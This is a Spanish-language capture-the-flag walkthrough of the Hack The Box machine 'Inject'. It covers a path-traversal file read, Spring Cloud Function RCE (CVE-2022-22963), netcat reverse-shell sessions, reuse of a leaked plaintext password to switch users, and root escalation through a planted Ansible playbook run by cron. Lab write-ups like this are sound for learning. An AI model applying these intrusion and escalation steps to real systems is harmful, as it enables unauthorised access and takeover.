Una vulnerabilidad en el sitio nos permitio listar, leer y descargar archivos, lo que nos dio acceso al codigo fuente de la aplicacion descubriendo la vulnerabilidad Spring4shell lo que nos dio acceso a un primer usuario. Las credenciales en un archivo de configuracion nos dieron acceso a un segundo usuario. Finalmente escalamos privilegios utilizando un archivo YAML.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.93 scan initiated Sat Mar 11 19:53:47 2023 as: nmap -p22,8080 -sV -sC -oN nmap_scan 10.10.11.204Nmap scan report for 10.10.11.204
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)|256 d51c81c97b076b1cc1b429254b52219f (ECDSA)|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 11 19:54:03 2023 -- 1 IP address (1 host up) scanned in 15.94 seconds
Web Site
El sitio web no presenta ninguna redireccion a algun dominio.
En el directorio /var/www/WebApp encontramos el codigo fuente de la aplicacion web, segun la estructura de archivos parece ser un proyecto Java que utiliza Maven.
// # ../../../../../../var/www/WebApp/src/main/java/com/example/WebApp/user/UserController.javapackagecom.example.WebApp.user;importorg.springframework.core.io.Resource;importorg.springframework.core.io.UrlResource;importorg.springframework.http.MediaType;importorg.springframework.http.ResponseEntity;importorg.springframework.stereotype.Controller;importjava.nio.file.Path;importorg.springframework.ui.Model;importorg.springframework.util.StringUtils;importorg.springframework.web.bind.annotation.*;importorg.springframework.web.multipart.MultipartFile;importjavax.activation.*;importjava.io.*;importjava.net.MalformedURLException;importjava.nio.file.Files;importjava.nio.file.Paths;importjava.nio.file.StandardCopyOption;@ControllerpublicclassUserController{privatestaticStringUPLOADED_FOLDER="/var/www/WebApp/src/main/uploads/";@GetMapping("")publicStringhomePage(){return"homepage";}@GetMapping("/register")publicStringsignUpFormGET(){return"under";}@RequestMapping(value="/upload",method=RequestMethod.GET)publicStringUploadFormGet(){return"upload";}@RequestMapping(value="/show_image",method=RequestMethod.GET)publicResponseEntitygetImage(@RequestParam("img")Stringname){StringfileName=UPLOADED_FOLDER+name;Pathpath=Paths.get(fileName);Resourceresource=null;try{resource=newUrlResource(path.toUri());}catch(MalformedURLExceptione){e.printStackTrace();}returnResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource);}@PostMapping("/upload")publicStringUpload(@RequestParam("file")MultipartFilefile,Modelmodel){StringfileName=StringUtils.cleanPath(file.getOriginalFilename());if(!file.isEmpty()&&!fileName.contains("/")){Stringmimetype=newMimetypesFileTypeMap().getContentType(fileName);Stringtype=mimetype.split("/")[0];if(type.equals("image")){try{Pathpath=Paths.get(UPLOADED_FOLDER+fileName);Files.copy(file.getInputStream(),path,StandardCopyOption.REPLACE_EXISTING);}catch(IOExceptione){e.printStackTrace();}model.addAttribute("name",fileName);model.addAttribute("message","Uploaded!");}else{model.addAttribute("message","Only image files are accepted!");}}else{model.addAttribute("message","Please Upload a file!");}return"upload";}@GetMapping("/release_notes")publicStringchangelog(){return"change";}@GetMapping("/blogs")publicStringblogPage(){return"blog";}}
Vemos el archivo de proyecto compilado spring-webapp.jar.
Basandonos en cada uno de los nombres y version de las dependencias realizamos una busqueda de vulnerabilidades.
Encontramos que existe una vulnerabilidad en Spring Cloud Function del tipo RCE bajo el identificador CVE-2022-22963 en las versiones 3.1.6, 3.2.2., una de las cuales se esta utilizando en la aplicacion, la v3.2.2. Se explica a detalle en CVE 2022-22963 donde tambien se menciona un PoC, aunque existe uno un poco mas detallado y se muestran dos PoCs, spring-spel-0day-poc.
Exploit
Explotamos la vulnerabilidad con uno de los PoC creando un archivo en el directorio /tmp el cual verificamos que existe.
Por otro lado obtuvimos acceso a la maquina como frank.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
π ~/htb/inject ❯ rlwrap nc -lvp 1335listening on [any]1335 ...
10.10.11.204: inverse host lookup failed: Unknown host
connect to [10.10.14.11] from (UNKNOWN)[10.10.11.204]43852/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'frank@inject:/$
frank@inject:/$ whoami;id;pwdwhoami;id;pwdfrank
uid=1000(frank)gid=1000(frank)groups=1000(frank)/
frank@inject:/$
User - Phil
Utilizamos la contrasena encontrada anteriormente para phil la cual funciono correctamente logrando asi obtener nuestra flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
frank@inject:~$ su phil
su phil
Password: DocPhillovestoInject123
phil@inject:/home/frank$ cdcdphil@inject:~$ ls
ls
user.txt
phil@inject:~$ cat user.txt
cat user.txt
f78ceac3b3e9b54fa8fdb89773064bf0
phil@inject:~$
Privesc
En el directorio /opt encontramos un archivo yaml de lo que parece ser una tarea automatizada de ansible.
1
2
3
4
5
6
7
8
9
10
bash-5.0$ ls -lah
ls -lah
total 12K
drwxrwxr-x 2 root staff 4.0K May 3 23:32 .
drwxr-xr-x 3 root root 4.0K Oct 202022 ..
-rw-r--r-- 1 root root 150 May 3 23:32 playbook_1.yml
bash-5.0$ pwdpwd/opt/automation/tasks
bash-5.0$
Segun parece, verifica el estado del servicio webapp.
π ~/htb/inject ❯ rlwrap nc -lvp 1338listening on [any]1338 ...
10.10.11.204: inverse host lookup failed: Unknown host
connect to [10.10.14.11] from (UNKNOWN)[10.10.11.204]41388bash: cannot set terminal process group (5345): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks#
root@inject:/opt/automation/tasks# whoami;id;pwdwhoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/opt/automation/tasks
root@inject:/opt/automation/tasks# cdroot@inject:~# ls
ls
playbook_1.yml
root.txt
root@inject:~# cat /home/phil/user.txt
cat /home/phil/user.txt
f78ceac3b3e9b54fa8fdb89773064bf0
root@inject:~# cat root.txt
cat root.txt
12666536941f65600a9cd4b05f1edf4d
root@inject:~#
Si bien el archivo playbook_1.yml es ejecutado no es el unico, ya que si observamos los cronjobs ejecuta todos los archivos con extension .yml, por lo que no era necesario cambiar el nombre a nuestro archivo de shell.